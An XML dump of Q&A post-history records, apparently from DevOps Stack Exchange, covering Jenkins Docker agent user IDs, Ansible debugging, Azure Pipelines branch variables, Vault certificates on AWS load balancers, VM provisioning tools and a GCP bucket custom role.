  <row Id="38561" PostHistoryTypeId="2" PostId="12556" RevisionGUID="7ff62400-4eaf-4b80-8924-020aefb250b8" CreationDate="2020-10-09T20:31:40.660" UserId="23745" Text="In my case it ended up that Jenkins was running docker agent with specific UID and GID. To get that fixed it required to rebuild that docker image with creating internal Jenkins user with the same UID and GID&#xD;&#xA;&#xD;&#xA;For that purpose on top of the Jenkinsfile to crate that docker image I have added:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def user_id&#xD;&#xA;def group_id&#xD;&#xA;node {&#xD;&#xA;   user_id = sh(returnStdout: true, script: 'id -u').trim()&#xD;&#xA;   group_id = sh(returnStdout: true, script: 'id -g').trim()&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then during the build stage I have passed additional arguments to the docker as&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;--build-arg JenkinsUserId=${user_id} --build-arg JenkinsGroupId=${group_id}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;then in the Dockerfile for that build:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine:latest&#xD;&#xA;&#xD;&#xA;#pick up provided ARGs for the bild&#xD;&#xA;&#xD;&#xA;ARG JenkinsUserId&#xD;&#xA;ARG JenkinsGroupId&#xD;&#xA;&#xD;&#xA;//do your stuff here&#xD;&#xA;&#xD;&#xA;#create Ansible config directory&#xD;&#xA;RUN set -xe \&#xD;&#xA;    &amp;&amp; mkdir -p /etc/ansible&#xD;&#xA;&#xD;&#xA;#create Ansible tmp directory&#xD;&#xA;RUN set -xe \&#xD;&#xA;    &amp;&amp; mkdir -p /.ansible/tmp&#xD;&#xA;&#xD;&#xA;#set ANSIBLE_LOCAL_TEMP&#xD;&#xA;ENV ANSIBLE_LOCAL_TEMP /.ansible/tmp&#xD;&#xA;&#xD;&#xA;#create Ansible cp directory&#xD;&#xA;RUN set -xe \&#xD;&#xA;    &amp;&amp; mkdir -p /.ansible/cp&#xD;&#xA;&#xD;&#xA;#set ANSIBLE_SSH_CONTROL_PATH_DIR&#xD;&#xA;ENV ANSIBLE_SSH_CONTROL_PATH_DIR /.ansible/cp&#xD;&#xA;&#xD;&#xA;# Create Jenkins group and user&#xD;&#xA;RUN if ! id $JenkinsUserId; then \&#xD;&#xA;    groupadd -g ${JenkinsGroupId} jenkins; \&#xD;&#xA;    useradd jenkins -u ${JenkinsUserId} -g jenkins --shell /bin/bash --create-home; \&#xD;&#xA;  else \&#xD;&#xA;    addgroup --gid 1000 -S jenkins &amp;&amp; adduser --uid 1000 -S jenkins -G jenkins; \&#xD;&#xA;  fi&#xD;&#xA;&#xD;&#xA;RUN addgroup jenkins root&#xD;&#xA;&#xD;&#xA;# Tell docker that all future commands should run as the appuser user&#xD;&#xA;USER jenkins&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and finally update `docker` `agent` for the main pipeline which had issue:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   agent {&#xD;&#xA;      docker {&#xD;&#xA;         image 'artifactory.devbox.local/docker-local/myrepo/jdk8:latest'&#xD;&#xA;         args '-v $HOME/.m2:/root/.m2 -v $HOME/.ssh:/home/jenkins/.ssh  -v /etc/ansible:/etc/ansible -v $HOME/.ansible/tmp:/.ansible/tmp -v $HOME/.ansible/cp:/.ansible/cp'&#xD;&#xA;      }&#xD;&#xA;   }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38562" PostHistoryTypeId="2" PostId="12557" RevisionGUID="175a0687-4db2-408a-92a2-dc80261104bd" CreationDate="2020-10-10T00:16:09.580" UserId="23898" Text="I believe this is due to non existing variable attribute.  &#xD;&#xA;Most likely `chain_from_certificate1` and `chain_from_certificate2` don't have `stdout`  &#xD;&#xA;&#xD;&#xA;Did you try debug by printing the variables?  &#xD;&#xA;With `stdout`:  &#xD;&#xA;Di this throw similar failure?  &#xD;&#xA;```&#xD;&#xA;    - name: print variable&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ chain_from_certificate1.stdout }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Without `stdout`:  &#xD;&#xA;What is output of this?  &#xD;&#xA;Will this print same output as of manually execute `openssl x509 -issuer -noout -in Certiticate1`?  &#xD;&#xA;```&#xD;&#xA;    - name: print variable&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ chain_from_certificate1 }}&quot;&#xD;&#xA;```  &#xD;&#xA;&#xD;&#xA;My assumption is that the script set the value of `stdout` in `chain_from_certificate1` and `chain_from_certificate2` rather than the `stdout: &lt;value&gt;`. Therefor `stdout` do not exist as attribute.  &#xD;&#xA;Or `chain_from_certificate1` and `chain_from_certificate2` contain another data structure.  &#xD;&#xA;&#xD;&#xA;The key is to print them out.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38563" PostHistoryTypeId="5" PostId="12557" RevisionGUID="3610e3da-417b-4f06-9f42-182c3fbfa933" CreationDate="2020-10-10T00:33:44.063" UserId="23898" Comment="added 1 character in body" Text="I believe this is due to non existing variable attribute.  &#xD;&#xA;Most likely `chain_from_certificate1` and `chain_from_certificate2` don't have `stdout`  &#xD;&#xA;&#xD;&#xA;Did you try debug by printing the variables?  &#xD;&#xA;With `stdout`:  &#xD;&#xA;Did this throw similar failure?  &#xD;&#xA;```&#xD;&#xA;    - name: print variable&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ chain_from_certificate1.stdout }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Without `stdout`:  &#xD;&#xA;What is output of this?  &#xD;&#xA;Will this print same output as of manually execute `openssl x509 -issuer -noout -in Certiticate1`?  &#xD;&#xA;```&#xD;&#xA;    - name: print variable&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ chain_from_certificate1 }}&quot;&#xD;&#xA;```  &#xD;&#xA;&#xD;&#xA;My assumption is that the script set the value of `stdout` in `chain_from_certificate1` and `chain_from_certificate2` rather than the `stdout: &lt;value&gt;`. Therefor `stdout` do not exist as attribute.  &#xD;&#xA;Or `chain_from_certificate1` and `chain_from_certificate2` contain another data structure.  &#xD;&#xA;&#xD;&#xA;The key is to print them out.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38564" PostHistoryTypeId="2" PostId="12558" RevisionGUID="fc6bc558-afb6-48de-ab33-ae0c6bc8e50f" CreationDate="2020-10-10T01:15:11.420" UserId="11490" Text="Currently I have two separate Azure DevOps Pipeline config files:&#xD;&#xA;&#xD;&#xA; - `azure-pipelines-staging.yaml`&#xD;&#xA; - `azure-pipelines-production.yaml`&#xD;&#xA;&#xD;&#xA;Really the only differences in them are the:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;    - master # or staging&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the directory where my k8s manifests are:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;manifests: |&#xD;&#xA;  $(Pipeline.Workspace)/manifests/azure/prod/api.yaml&#xD;&#xA;&#xD;&#xA;# or &#xD;&#xA;&#xD;&#xA;manifests: |&#xD;&#xA;  $(Pipeline.Workspace)/manifests/azure/staging/api.yaml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So ideally it would be something like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;    - master&#xD;&#xA;    - staging&#xD;&#xA;...&#xD;&#xA;manifests: |&#xD;&#xA;  $(Pipeline.Workspace)/manifests/azure/$(branch)/api.yaml&#xD;&#xA;```&#xD;&#xA;Not quite seeing how to get `$(branch)` name in there. Suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38565" PostHistoryTypeId="1" PostId="12558" RevisionGUID="fc6bc558-afb6-48de-ab33-ae0c6bc8e50f" CreationDate="2020-10-10T01:15:11.420" UserId="11490" Text="One azure-pipeline.yaml for staging and production" ContentLicense="CC BY-SA 4.0" />
  <row Id="38566" PostHistoryTypeId="3" PostId="12558" RevisionGUID="fc6bc558-afb6-48de-ab33-ae0c6bc8e50f" CreationDate="2020-10-10T01:15:11.420" UserId="11490" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38567" PostHistoryTypeId="2" PostId="12559" RevisionGUID="f9e829d6-eb80-4c25-9675-9dd70c6c06f6" CreationDate="2020-10-10T01:59:21.130" UserId="11490" Text="Ok, found it [here](https://docs.microsoft.com/en-us/azure/devops/pipelines/build/variables?view=azure-devops&amp;tabs=yaml#build-variables-devops-services):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Build.SourceBranch	&#xD;&#xA;&#xD;&#xA;The branch of the triggering repo the build was queued for. Some examples:&#xD;&#xA;&#xD;&#xA; - Git repo branch: refs/heads/master &#xD;&#xA; - Git repo pull request: refs/pull/1/merge &#xD;&#xA; - TFVC repo branch: $/teamproject/main &#xD;&#xA; - TFVC repo gated check-in: Gated_2016-06-06_05.20.51.4369;username@live.com &#xD;&#xA; - TFVC repo shelveset build: myshelveset;username@live.com&#xD;&#xA;&#xD;&#xA;When your pipeline is triggered by a tag: refs/tags/your-tag-name&#xD;&#xA;When you use this variable in your build number format, the forward slash characters (/) are replaced with underscore characters _).&#xD;&#xA;&#xD;&#xA;Note: In TFVC, if you are running a gated check-in build or manually building a shelveset, you cannot use this variable in your build number format.&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38571" PostHistoryTypeId="2" PostId="12561" RevisionGUID="f396a4db-fb77-4d3b-94c4-d8810a97eb9a" CreationDate="2020-10-10T07:09:34.933" UserId="13379" Text="I'm pretty sure this [Jenkins system property](https://www.jenkins.io/doc/book/managing/system-properties/) will do the trick:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     hudson.util.RingBufferLogHandler.defaultSize&#xD;&#xA;&gt;tuning&#xD;&#xA;&gt;&#xD;&#xA;&gt;Since: 1.563&#xD;&#xA;&gt;&#xD;&#xA;&gt;Default:  256&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Description:** Number of log entries in loggers available on the UI at /log/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38572" PostHistoryTypeId="5" PostId="12561" RevisionGUID="9665fd3a-261f-49e6-b678-cad2e263c2b6" CreationDate="2020-10-10T07:15:51.437" UserId="13379" Comment="Added extra info" Text="I'm pretty sure this [Jenkins system property][1] will do the trick:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     hudson.util.RingBufferLogHandler.defaultSize&#xD;&#xA;&gt;tuning&#xD;&#xA;&gt;&#xD;&#xA;&gt;Since: 1.563&#xD;&#xA;&gt;&#xD;&#xA;&gt;Default:  256&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Description:** Number of log entries in loggers available on the UI at /log/&#xD;&#xA;&#xD;&#xA;You can also custom [Configure Loggers for Jenkins][2] or [create a logger in Jenkins for troubleshooting and diagnostic information][3] that capture specifics you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/book/managing/system-properties/#hudson-util-ringbufferloghandler-defaultsize&#xD;&#xA;  [2]: https://support.cloudbees.com/hc/en-us/articles/115002626172-Configure-Loggers-for-Jenkins&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/204880580-How-do-I-create-a-logger-in-Jenkins-for-troubleshooting-and-diagnostic-information-" ContentLicense="CC BY-SA 4.0" />
  <row Id="38573" PostHistoryTypeId="5" PostId="12561" RevisionGUID="0d07f8cb-aa8b-4594-9deb-284802061402" CreationDate="2020-10-10T07:22:39.480" UserId="13379" Comment="added 218 characters in body" Text="I'm pretty sure this [Jenkins system property][1] will do the trick:&#xD;&#xA;&#xD;&#xA;&gt;     hudson.util.RingBufferLogHandler.defaultSize&#xD;&#xA;&gt;tuning&#xD;&#xA;&gt;&#xD;&#xA;&gt;Since: 1.563&#xD;&#xA;&gt;&#xD;&#xA;&gt;Default:  256&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Description:** Number of log entries in loggers available on the UI at /log/&#xD;&#xA;&#xD;&#xA;You can also custom [Configure Loggers for Jenkins][2] or [create a logger in Jenkins for troubleshooting and diagnostic information][3] that capture specifics you are looking for.&#xD;&#xA;&#xD;&#xA;Additional references:&lt;br&gt;&#xD;&#xA;[JENKINS - Logging][4]&lt;br&gt;&#xD;&#xA;[JENKINS - Logger Configuration][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/book/managing/system-properties/#hudson-util-ringbufferloghandler-defaultsize&#xD;&#xA;  [2]: https://support.cloudbees.com/hc/en-us/articles/115002626172-Configure-Loggers-for-Jenkins&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/204880580-How-do-I-create-a-logger-in-Jenkins-for-troubleshooting-and-diagnostic-information-&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/Logging&#xD;&#xA;  [5]: https://wiki.jenkins.io/display/JENKINS/Logger+Configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="38574" PostHistoryTypeId="5" PostId="12561" RevisionGUID="c4fc4d96-5b69-4b2f-aa90-fbbd8ebb13d4" CreationDate="2020-10-10T07:35:23.503" UserId="13379" Comment="added 150 characters in body" Text="I'm pretty sure this [Jenkins system property][1] will do the trick:&#xD;&#xA;&#xD;&#xA;&gt;     hudson.util.RingBufferLogHandler.defaultSize&#xD;&#xA;&gt;tuning&#xD;&#xA;&gt;&#xD;&#xA;&gt;Since: 1.563&#xD;&#xA;&gt;&#xD;&#xA;&gt;Default:  256&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Description:** Number of log entries in loggers available on the UI at /log/&#xD;&#xA;&#xD;&#xA;You can also custom [Configure Loggers for Jenkins][2] or [create a logger in Jenkins for troubleshooting and diagnostic information][3] that capture specifics you are looking for.&#xD;&#xA;&#xD;&#xA;Additional references:&lt;br&gt;&#xD;&#xA;[JENKINS - Logging][4]&lt;br&gt;&#xD;&#xA;[JENKINS - Logger Configuration][5]&#xD;&#xA;&#xD;&#xA;Or, if you are the admin, you should be able simply to scan the logs on the filesystem. Review what log rotation options and retention you may have.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/book/managing/system-properties/#hudson-util-ringbufferloghandler-defaultsize&#xD;&#xA;  [2]: https://support.cloudbees.com/hc/en-us/articles/115002626172-Configure-Loggers-for-Jenkins&#xD;&#xA;  [3]: https://support.cloudbees.com/hc/en-us/articles/204880580-How-do-I-create-a-logger-in-Jenkins-for-troubleshooting-and-diagnostic-information-&#xD;&#xA;  [4]: https://wiki.jenkins.io/display/JENKINS/Logging&#xD;&#xA;  [5]: https://wiki.jenkins.io/display/JENKINS/Logger+Configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="38575" PostHistoryTypeId="2" PostId="12562" RevisionGUID="2076583b-ccd9-43fb-ae22-d03eed83a360" CreationDate="2020-10-10T08:10:25.483" UserId="24271" Text="I have generated certificates for an internal domain using Hashicorp Vault. I have exported the private key, certificate body and certificate chain.&#xD;&#xA;&#xD;&#xA;I have uploaded the certificate onto AWS Certificate Manager and am using it on a Classic Load Balancer where I am terminating the SSL at the load balancer.&#xD;&#xA;&#xD;&#xA;To verify, when I run a curl command, I get the following error:&#xD;&#xA;&#xD;&#xA;    $ curl --cert yash.pem https://nginx-classic-test-1046423204.ap-southeast-2.elb.amazonaws.com -v&#xD;&#xA;    *   Trying 3.105.157.201...&#xD;&#xA;    * TCP_NODELAY set&#xD;&#xA;    * Connected to nginx-classic-test-1046423204.ap-southeast-2.elb.amazonaws.com (3.105.157.201) port 443 (#0)&#xD;&#xA;    * ALPN, offering h2&#xD;&#xA;    * ALPN, offering http/1.1&#xD;&#xA;    * could not load PEM client certificate, LibreSSL error error:09FFF06C:PEM routines:CRYPTO_internal:no start line, (no key found, wrong pass phrase, or wrong file format?)&#xD;&#xA;    * Closing connection 0&#xD;&#xA;    curl: (58) could not load PEM client certificate, LibreSSL error error:09FFF06C:PEM routines:CRYPTO_internal:no start line, (no key found, wrong pass phrase, or wrong file format?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can anyone please suggest me the right way to test HTTPS connection for the certificate generated through Vault?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38576" PostHistoryTypeId="1" PostId="12562" RevisionGUID="2076583b-ccd9-43fb-ae22-d03eed83a360" CreationDate="2020-10-10T08:10:25.483" UserId="24271" Text="How to use Vault generated certificates for Internal Domains in AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="38577" PostHistoryTypeId="3" PostId="12562" RevisionGUID="2076583b-ccd9-43fb-ae22-d03eed83a360" CreationDate="2020-10-10T08:10:25.483" UserId="24271" Text="&lt;amazon-web-services&gt;&lt;ssl&gt;&lt;hashicorp-vault&gt;&lt;aws-elb&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38578" PostHistoryTypeId="2" PostId="12563" RevisionGUID="f5e791ed-b8bc-45b7-b91a-697056b0cff7" CreationDate="2020-10-10T14:10:25.243" UserId="24273" Text="Is it OK to enter floating-point hours for the Remaining Work field of each task? If so, and I want to say I took an hour and a half, do I enter 1.3 or 1.5? Ex:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Jb7Ei.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38579" PostHistoryTypeId="1" PostId="12563" RevisionGUID="f5e791ed-b8bc-45b7-b91a-697056b0cff7" CreationDate="2020-10-10T14:10:25.243" UserId="24273" Text="Azure DevOps completed work format" ContentLicense="CC BY-SA 4.0" />
  <row Id="38580" PostHistoryTypeId="3" PostId="12563" RevisionGUID="f5e791ed-b8bc-45b7-b91a-697056b0cff7" CreationDate="2020-10-10T14:10:25.243" UserId="24273" Text="&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38581" PostHistoryTypeId="2" PostId="12564" RevisionGUID="dd42cc3d-43db-4b51-bcc2-930544028853" CreationDate="2020-10-11T02:44:45.370" UserId="24279" Text="Here is what I want to achieve.&#xD;&#xA;I write code(Java, NodeJs, Go) to tell the program &#xD;&#xA;&#xD;&#xA; - which Cloud Provider to choose- AWS/Azure &#xD;&#xA; - write code to create a instance , lets say AWS - EC2 instance under which region, security pair, ports, volumes. &#xD;&#xA; - Then once the VM is created , write code to ssh into the system , do yum update , install docker, do other stuff and fetch certain containers. Basically ready the system for future use but mostly I would want to deploy Docker containers on these VMs later.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is - to achieve the above scenario which tools should be used . I understand for provisioning of the VMs in AWS , I can use the SDK, so applies for other vendors as well , but for the setup part what would be the preferred mechanism ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38582" PostHistoryTypeId="1" PostId="12564" RevisionGUID="dd42cc3d-43db-4b51-bcc2-930544028853" CreationDate="2020-10-11T02:44:45.370" UserId="24279" Text="How to Automate VM provisioning and setup using code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38583" PostHistoryTypeId="3" PostId="12564" RevisionGUID="dd42cc3d-43db-4b51-bcc2-930544028853" CreationDate="2020-10-11T02:44:45.370" UserId="24279" Text="&lt;amazon-ec2&gt;&lt;automation&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38589" PostHistoryTypeId="2" PostId="12566" RevisionGUID="51713c36-ed63-41e2-b32b-e1675a448da7" CreationDate="2020-10-12T15:37:17.000" UserId="24296" Text="First and foremost, there are several tools for better managing and provisioning of infrastructure such as Terraform.&#xA;&#xA;You could create a pipeline to create things automatically as needed (based on triggers or manual start) on Jenkins or Gitlab, your code could be created using any language using the defined cloud provider SDK or API, or the. Terraform code as previously said. I'd use the Terraform since it's way easier to manage what is there, and sincronize the current cloud state.&#xA;&#xA;Also, Ansible is great to setup machines, but Terraform can do it too. " ContentLicense="CC BY-SA 4.0" />
  <row Id="38592" PostHistoryTypeId="6" PostId="4058" RevisionGUID="a3fe8867-8063-4ceb-bf18-5bf6dafc3d6f" CreationDate="2020-10-12T17:13:24.637" UserId="-1" Comment="I think it need to microservices tag according to its architecture is a type of microservices style" Text="&lt;azure&gt;&lt;microservices&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38593" PostHistoryTypeId="24" PostId="4058" RevisionGUID="a3fe8867-8063-4ceb-bf18-5bf6dafc3d6f" CreationDate="2020-10-12T17:13:24.637" Comment="Proposed by 151.246.247.202|a48c71e6-4ad0-42db-9012-701c1e46a666 approved by 7695 edit id of 1283" ContentLicense="CC BY-SA 4.0" />
  <row Id="38594" PostHistoryTypeId="2" PostId="12567" RevisionGUID="67e69dde-52e5-413b-8771-55331aae4eba" CreationDate="2020-10-12T18:51:12.620" UserId="15016" Text="I am not entirely sure what configs you were using, but here is a process using CLI (gcloud and gsutil). The end product is a new custom role replacing the current standard roles/storage.objectViewer on allUsers for a GCP Bucket.&#xD;&#xA;&#xD;&#xA;Recommend using GCP Cloud Cloud Shell in your Project: https://cloud.google.com/shell&#xD;&#xA;&#xD;&#xA; 1. Create a new Role with the Custom Permissions you would like.&#xD;&#xA;&#xD;&#xA;Create yaml file to hold the new config:&#xD;&#xA;&#xD;&#xA;    vi custom_role.yaml&#xD;&#xA;&#xD;&#xA;Add role configurations to new custom_role.yaml:&#xD;&#xA;&#xD;&#xA;    title: &quot;storageobjectviewer.nolist&quot;&#xD;&#xA;    description: &quot;Storage Object Viewer Role without source objects list&quot;&#xD;&#xA;    stage: &quot;ALPHA&quot;&#xD;&#xA;    includedPermissions:&#xD;&#xA;    - resourcemanager.projects.get&#xD;&#xA;    - storage.objects.get&#xD;&#xA;&#xD;&#xA;Create new Role in GCP:&#xD;&#xA;&#xD;&#xA;    gcloud iam roles create storageobjectviewer.nolist --project=[YOUR PROJECT] --file=custom_role.yaml&#xD;&#xA;&#xD;&#xA; 2. Pull current permissions for [YOUR BUCKET] locally:&#xD;&#xA;&#xD;&#xA;&gt; gsutil iam get gs://[YOUR BUCKET] &gt; perms.txt&#xD;&#xA;&#xD;&#xA; 3. Update Permissions with the new role.&#xD;&#xA;&#xD;&#xA;Should only be this section:&#xD;&#xA;&gt;     {&#xD;&#xA;&gt;       &quot;members&quot;: [&#xD;&#xA;&gt;         &quot;allUsers&quot;&#xD;&#xA;&gt;       ],&#xD;&#xA;&gt;       &quot;role&quot;: &quot;projects/[YOUR PROJECT]/roles/storageobjectviewer.nolist&quot;&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA; 4. Update the allUsers to the new role on [YOUR BUCKET]&#xD;&#xA;&#xD;&#xA;&gt; gsutil iam set perms.txt  gs://[YOUR BUCKET]&#xD;&#xA;&#xD;&#xA;The new configuration should be viewable in CLI:&#xD;&#xA;&#xD;&#xA;    gsutil iam get gs://[YOUR BUCKET]&#xD;&#xA;&#xD;&#xA;Also in the UI:&#xD;&#xA;Bucket Details -&gt; Permissions&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;and IAM -&gt; Roles&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;Hopefully this helps!&#xD;&#xA;&#xD;&#xA;Additional Info:&#xD;&#xA;&#xD;&#xA; - https://cloud.google.com/iam/docs/creating-custom-roles#iam-custom-roles-create-gcloud&#xD;&#xA; - https://cloud.google.com/storage/docs/gsutil/commands/iam&#xD;&#xA; - https://cloud.google.com/storage/docs/access-control/making-data-public#gsutil&#xD;&#xA; - https://cloud.google.com/storage/docs/access-control/iam-roles&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Y2IE3.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/wO4QG.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="38598" PostHistoryTypeId="2" PostId="12569" RevisionGUID="0540fb38-fea6-4680-806d-ee52594ab043" CreationDate="2020-10-12T23:31:23.907" UserId="24303" Text="I would like to know how to configure COnsul or Eureka using Rancher. I stumbled in the part where I need to enter key value." ContentLicense="CC BY-SA 4.0" />
  <row Id="38599" PostHistoryTypeId="1" PostId="12569" RevisionGUID="0540fb38-fea6-4680-806d-ee52594ab043" CreationDate="2020-10-12T23:31:23.907" UserId="24303" Text="Configure Eureka or Consul in Rancher" ContentLicense="CC BY-SA 4.0" />
  <row Id="38600" PostHistoryTypeId="3" PostId="12569" RevisionGUID="0540fb38-fea6-4680-806d-ee52594ab043" CreationDate="2020-10-12T23:31:23.907" UserId="24303" Text="&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38603" PostHistoryTypeId="2" PostId="12571" RevisionGUID="cc83a42e-1469-4a12-8baa-a57c6a97222b" CreationDate="2020-10-13T09:37:41.523" UserId="24309" Text="first you need to do docker login to repo then you do stack deploy with --with-registry-auth flag." ContentLicense="CC BY-SA 4.0" />
  <row Id="38604" PostHistoryTypeId="2" PostId="12572" RevisionGUID="e7abc532-df85-4e70-bfd2-0d77dd4615b7" CreationDate="2020-10-13T14:46:24.063" UserId="17276" Text="I want to implement secret rotation on a lambda function.&#xD;&#xA;&#xD;&#xA;This function also needs to be invoked by API gateway&#xD;&#xA;aws_lambda_permission resources fails on apply when I test it saying it requires lambda permissions.&#xD;&#xA;So I need an aws_lambda_permission allowing both API gateway and secrets manager to access the same lambda function." ContentLicense="CC BY-SA 4.0" />
  <row Id="38605" PostHistoryTypeId="1" PostId="12572" RevisionGUID="e7abc532-df85-4e70-bfd2-0d77dd4615b7" CreationDate="2020-10-13T14:46:24.063" UserId="17276" Text="Is it posible to have a principal for aws_lambda_permission specifying multiple resorces?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38606" PostHistoryTypeId="3" PostId="12572" RevisionGUID="e7abc532-df85-4e70-bfd2-0d77dd4615b7" CreationDate="2020-10-13T14:46:24.063" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38608" PostHistoryTypeId="2" PostId="12573" RevisionGUID="8f317b02-a378-4ad6-ba9b-3e88a096fc4e" CreationDate="2020-10-13T16:51:51.090" UserId="24315" Text="This is the error shown in UI&#xD;&#xA;```&#xD;&#xA;Error validating repository information. Credentials ok.&#xD;&#xA;java.io.FileNotFoundException: https://api.github.com/repos/&lt;REDACTED&gt;/&lt;REDACTED&gt;&#xD;&#xA;    at org.kohsuke.github.extras.okhttp3.ObsoleteUrlFactory$OkHttpURLConnection.getInputStream(ObsoleteUrlFactory.java:488)&#xD;&#xA;    at org.kohsuke.github.extras.okhttp3.ObsoleteUrlFactory$DelegatingHttpsURLConnection.getInputStream(ObsoleteUrlFactory.java:1201)&#xD;&#xA;    at org.kohsuke.github.GitHubHttpUrlConnectionClient$HttpURLConnectionResponseInfo.bodyStream(GitHubHttpUrlConnectionClient.java:197)&#xD;&#xA;    at org.kohsuke.github.GitHubResponse$ResponseInfo.getBodyAsString(GitHubResponse.java:326)&#xD;&#xA;    at org.kohsuke.github.GitHubResponse.parseBody(GitHubResponse.java:91)&#xD;&#xA;    at org.kohsuke.github.Requester.lambda$fetch$1(Requester.java:74)&#xD;&#xA;    at org.kohsuke.github.GitHubClient.createResponse(GitHubClient.java:461)&#xD;&#xA;    at org.kohsuke.github.GitHubClient.sendRequest(GitHubClient.java:412)&#xD;&#xA;Caused: org.kohsuke.github.GHFileNotFoundException: https://api.github.com/repos/&lt;REDACTED&gt;/&lt;REDACTED&gt; {&quot;message&quot;:&quot;Not Found&quot;,&quot;documentation_url&quot;:&quot;https://docs.github.com/rest/reference/repos#get-a-repository&quot;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38609" PostHistoryTypeId="1" PostId="12573" RevisionGUID="8f317b02-a378-4ad6-ba9b-3e88a096fc4e" CreationDate="2020-10-13T16:51:51.090" UserId="24315" Text="Jenkins return &quot;Error validating repository information. Credentials ok.&quot; when validating repo url using Github App authentication" ContentLicense="CC BY-SA 4.0" />
  <row Id="38610" PostHistoryTypeId="3" PostId="12573" RevisionGUID="8f317b02-a378-4ad6-ba9b-3e88a096fc4e" CreationDate="2020-10-13T16:51:51.090" UserId="24315" Text="&lt;jenkins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
